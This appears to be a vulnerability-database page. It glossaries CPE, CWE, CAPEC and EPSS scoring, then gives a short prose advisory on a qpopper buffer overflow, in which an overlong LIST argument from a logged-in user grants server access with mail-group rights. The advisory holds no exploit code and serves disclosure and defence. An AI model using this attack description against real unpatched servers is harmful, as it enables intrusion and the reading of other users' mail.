CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

A remotely exploitable buffer-overflow vulnerability affects Qualcomm's 'qpopper' daemon. This issue allows users already in possession of a username and password for a POP account to compromise the server running the qpopper daemon.
The problem lies in the code that handles the 'LIST' command available to logged-in users. By providing an overly long argument, an attacker may cause a buffer to overflow. As a result, the attacker can gain access with the user ID (UID) of the user whose account is being used for the attack and with the group ID (GID) mail.
This will allow remote attackers to access the server itself and possibly (depending on how the computer is configured) to read other users' mail via the GID mail.
